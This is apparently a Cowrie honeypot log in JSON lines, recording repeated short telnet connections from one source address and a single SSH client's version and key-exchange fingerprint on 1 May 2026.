{"eventid":"cowrie.session.closed","duration":30.91023850440979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:20.807119Z","src_ip":"69.6.196.124","session":"f88da8af951c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.871806144714355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:21.270147Z","src_ip":"69.6.196.124","session":"b6792b0b0882","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51770,"dst_ip":"159.203.135.109","dst_port":23,"session":"3aeff514b8c9","protocol":"telnet","message":"New connection: 69.6.196.124:51770 (159.203.135.109:23) [session: 3aeff514b8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:21.777211Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51774,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d888f8e9cf5","protocol":"telnet","message":"New connection: 69.6.196.124:51774 (159.203.135.109:23) [session: 5d888f8e9cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.027226Z"}
{"eventid":"cowrie.session.closed","duration":31.200602531433105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.179319Z","src_ip":"69.6.196.124","session":"6cfacc42bc4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51764,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b7a6c6e9d9f","protocol":"telnet","message":"New connection: 69.6.196.124:51764 (159.203.135.109:23) [session: 9b7a6c6e9d9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.282531Z"}
{"eventid":"cowrie.session.closed","duration":30.312260389328003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.300549Z","src_ip":"69.6.196.124","session":"c09c85ff3dff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":39462,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca6eac802ce9","protocol":"telnet","message":"New connection: 69.6.196.124:39462 (159.203.135.109:23) [session: ca6eac802ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.315958Z"}
{"eventid":"cowrie.session.closed","duration":30.93275761604309,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.342786Z","src_ip":"69.6.196.124","session":"7ccdd8409fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51790,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa8b92c0cb46","protocol":"telnet","message":"New connection: 69.6.196.124:51790 (159.203.135.109:23) [session: aa8b92c0cb46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.502058Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51804,"dst_ip":"159.203.135.109","dst_port":23,"session":"301757c6f45f","protocol":"telnet","message":"New connection: 69.6.196.124:51804 (159.203.135.109:23) [session: 301757c6f45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:22.729387Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51818,"dst_ip":"159.203.135.109","dst_port":23,"session":"40c88b785b79","protocol":"telnet","message":"New connection: 69.6.196.124:51818 (159.203.135.109:23) [session: 40c88b785b79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.171759Z"}
{"eventid":"cowrie.session.closed","duration":31.418479204177856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.197116Z","src_ip":"69.6.196.124","session":"7749e70b5dd7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51822,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb6ae4bb33d0","protocol":"telnet","message":"New connection: 69.6.196.124:51822 (159.203.135.109:23) [session: eb6ae4bb33d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.258521Z"}
{"eventid":"cowrie.session.closed","duration":31.066730976104736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.265148Z","src_ip":"69.6.196.124","session":"b52dfa6226e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578256368637085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.549648Z","src_ip":"69.6.196.124","session":"2560f1572d1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43177032470703,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.593408Z","src_ip":"69.6.196.124","session":"2524bbd69f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87139081954956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.619132Z","src_ip":"69.6.196.124","session":"ccdef0919c70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.755440950393677,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.629604Z","src_ip":"69.6.196.124","session":"f9163e8b5af9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51850,"dst_ip":"159.203.135.109","dst_port":23,"session":"2472bb4e2935","protocol":"telnet","message":"New connection: 69.6.196.124:51850 (159.203.135.109:23) [session: 2472bb4e2935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.717419Z"}
{"eventid":"cowrie.session.closed","duration":30.954979419708252,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.726142Z","src_ip":"69.6.196.124","session":"c9b0103eff7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.782092571258545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.812431Z","src_ip":"69.6.196.124","session":"b7b356b047f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.829026222229004,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:23.976484Z","src_ip":"69.6.196.124","session":"08f0e5929e9b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915571689605713,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.266351Z","src_ip":"69.6.196.124","session":"97bbf3eecd0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.824341535568237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.302639Z","src_ip":"69.6.196.124","session":"b5949a0a76ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.935736417770386,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.323323Z","src_ip":"69.6.196.124","session":"40da0cabd6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.683125495910645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.390091Z","src_ip":"69.6.196.124","session":"0c8cc40f9dd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51874,"dst_ip":"159.203.135.109","dst_port":23,"session":"4140961addb8","protocol":"telnet","message":"New connection: 69.6.196.124:51874 (159.203.135.109:23) [session: 4140961addb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.478247Z"}
{"eventid":"cowrie.session.closed","duration":31.02979612350464,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.543706Z","src_ip":"69.6.196.124","session":"78f3805329fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.669790506362915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.717131Z","src_ip":"69.6.196.124","session":"a285a5cb0d7e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51884,"dst_ip":"159.203.135.109","dst_port":23,"session":"6df6bf059b15","protocol":"telnet","message":"New connection: 69.6.196.124:51884 (159.203.135.109:23) [session: 6df6bf059b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.795089Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51894,"dst_ip":"159.203.135.109","dst_port":23,"session":"133bed109e3b","protocol":"telnet","message":"New connection: 69.6.196.124:51894 (159.203.135.109:23) [session: 133bed109e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.832765Z"}
{"eventid":"cowrie.session.closed","duration":31.12351703643799,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:24.962114Z","src_ip":"69.6.196.124","session":"76180841a45b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51900,"dst_ip":"159.203.135.109","dst_port":23,"session":"12888adcbf4c","protocol":"telnet","message":"New connection: 69.6.196.124:51900 (159.203.135.109:23) [session: 12888adcbf4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:25.491827Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51836,"dst_ip":"159.203.135.109","dst_port":23,"session":"faf92d1f40f0","protocol":"telnet","message":"New connection: 69.6.196.124:51836 (159.203.135.109:23) [session: faf92d1f40f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:25.642288Z"}
{"eventid":"cowrie.session.closed","duration":46.679511308670044,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:25.710508Z","src_ip":"5.45.69.73","session":"b1c9b6b4cab9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51910,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb7694d51128","protocol":"telnet","message":"New connection: 69.6.196.124:51910 (159.203.135.109:23) [session: eb7694d51128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:25.808860Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51920,"dst_ip":"159.203.135.109","dst_port":23,"session":"adfeeadb185b","protocol":"telnet","message":"New connection: 69.6.196.124:51920 (159.203.135.109:23) [session: adfeeadb185b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.044347Z"}
{"eventid":"cowrie.session.closed","duration":31.313833475112915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.106137Z","src_ip":"69.6.196.124","session":"93caae166217","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51934,"dst_ip":"159.203.135.109","dst_port":23,"session":"54bcc1e37807","protocol":"telnet","message":"New connection: 69.6.196.124:51934 (159.203.135.109:23) [session: 54bcc1e37807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.114770Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e30dc1537b","protocol":"telnet","message":"New connection: 69.6.196.124:51936 (159.203.135.109:23) [session: 98e30dc1537b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.143885Z"}
{"eventid":"cowrie.session.closed","duration":31.540474891662598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.190225Z","src_ip":"69.6.196.124","session":"d3149bd9ca99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354658126831055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.274543Z","src_ip":"69.6.196.124","session":"f25448c181fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51858,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9e4982210e5","protocol":"telnet","message":"New connection: 69.6.196.124:51858 (159.203.135.109:23) [session: d9e4982210e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.409936Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51950,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb5a2dab43de","protocol":"telnet","message":"New connection: 69.6.196.124:51950 (159.203.135.109:23) [session: bb5a2dab43de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.727931Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51962,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fd259d6071b","protocol":"telnet","message":"New connection: 69.6.196.124:51962 (159.203.135.109:23) [session: 5fd259d6071b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:26.819974Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"f873b78caa39","protocol":"telnet","message":"New connection: 69.6.196.124:51978 (159.203.135.109:23) [session: f873b78caa39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:27.034001Z"}
{"eventid":"cowrie.session.closed","duration":31.13337516784668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:27.209036Z","src_ip":"69.6.196.124","session":"b444be0ae9d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969542980194092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:27.293072Z","src_ip":"69.6.196.124","session":"97cdca08d9ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00452470779419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:27.657960Z","src_ip":"69.6.196.124","session":"8af94afc88f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40350651741028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:27.754633Z","src_ip":"69.6.196.124","session":"98a17d314e10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51980,"dst_ip":"159.203.135.109","dst_port":23,"session":"60a776d2fbcc","protocol":"telnet","message":"New connection: 69.6.196.124:51980 (159.203.135.109:23) [session: 60a776d2fbcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:28.470167Z"}
{"eventid":"cowrie.session.closed","duration":32.37388753890991,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.184645Z","src_ip":"69.6.196.124","session":"dcd8d128d452","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51994,"dst_ip":"159.203.135.109","dst_port":23,"session":"9612b4d2e569","protocol":"telnet","message":"New connection: 69.6.196.124:51994 (159.203.135.109:23) [session: 9612b4d2e569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.238213Z"}
{"eventid":"cowrie.session.closed","duration":30.558583974838257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.265550Z","src_ip":"69.6.196.124","session":"96b2516abdaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81769061088562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.651760Z","src_ip":"69.6.196.124","session":"012fe1165d4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734936475753784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.667316Z","src_ip":"69.6.196.124","session":"839cb9ba0b2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57860,"dst_ip":"159.203.135.109","dst_port":23,"session":"1fdb1c380722","protocol":"telnet","message":"New connection: 69.6.196.124:57860 (159.203.135.109:23) [session: 1fdb1c380722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.705013Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":51986,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e69b354031a","protocol":"telnet","message":"New connection: 69.6.196.124:51986 (159.203.135.109:23) [session: 9e69b354031a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:29.801648Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57868,"dst_ip":"159.203.135.109","dst_port":23,"session":"e811600078b0","protocol":"telnet","message":"New connection: 69.6.196.124:57868 (159.203.135.109:23) [session: e811600078b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.004079Z"}
{"eventid":"cowrie.session.closed","duration":30.190686464309692,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.294561Z","src_ip":"69.6.196.124","session":"98b221f6a082","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.75874352455139,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.490885Z","src_ip":"69.6.196.124","session":"f0966739edde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1362407207489,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.660689Z","src_ip":"69.6.196.124","session":"e79756420b54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.810129642486572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.698539Z","src_ip":"69.6.196.124","session":"d6bca218613d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.63.62.103","src_port":53258,"dst_ip":"10.17.0.5","dst_port":22,"session":"db46a3999dea","protocol":"ssh","message":"New connection: 41.63.62.103:53258 (10.17.0.5:22) [session: db46a3999dea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.794796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.799478Z","src_ip":"41.63.62.103","session":"db46a3999dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57884,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b0434642a74","protocol":"telnet","message":"New connection: 69.6.196.124:57884 (159.203.135.109:23) [session: 0b0434642a74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.965652Z"}
{"eventid":"cowrie.session.closed","duration":31.12023687362671,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:30.996285Z","src_ip":"69.6.196.124","session":"d5aabf2b3472","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.063529Z","src_ip":"41.63.62.103","session":"db46a3999dea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57888,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dbdd149d0b7","protocol":"telnet","message":"New connection: 69.6.196.124:57888 (159.203.135.109:23) [session: 4dbdd149d0b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.195673Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57894,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dadf94425d3","protocol":"telnet","message":"New connection: 69.6.196.124:57894 (159.203.135.109:23) [session: 6dadf94425d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.275946Z"}
{"eventid":"cowrie.session.closed","duration":30.96116805076599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.291740Z","src_ip":"69.6.196.124","session":"11635c712a6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.21204447746277,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.309682Z","src_ip":"69.6.196.124","session":"98be0712efe7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.188491582870483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.334550Z","src_ip":"69.6.196.124","session":"f6a67f8078da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.134426832199097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.479045Z","src_ip":"69.6.196.124","session":"e77349f81c49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57910,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff14ea6787ef","protocol":"telnet","message":"New connection: 69.6.196.124:57910 (159.203.135.109:23) [session: ff14ea6787ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.824531Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.196.124","src_port":57916,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e583bb1cccd","protocol":"telnet","message":"New connection: 69.6.196.124:57916 (159.203.135.109:23) [session: 0e583bb1cccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.853836Z"}
{"eventid":"cowrie.session.closed","duration":30.902719020843506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:47:31.907318Z","src_ip":"69.6.196.124","session":"b8b9ebf0ef20","protocol":"telnet"}
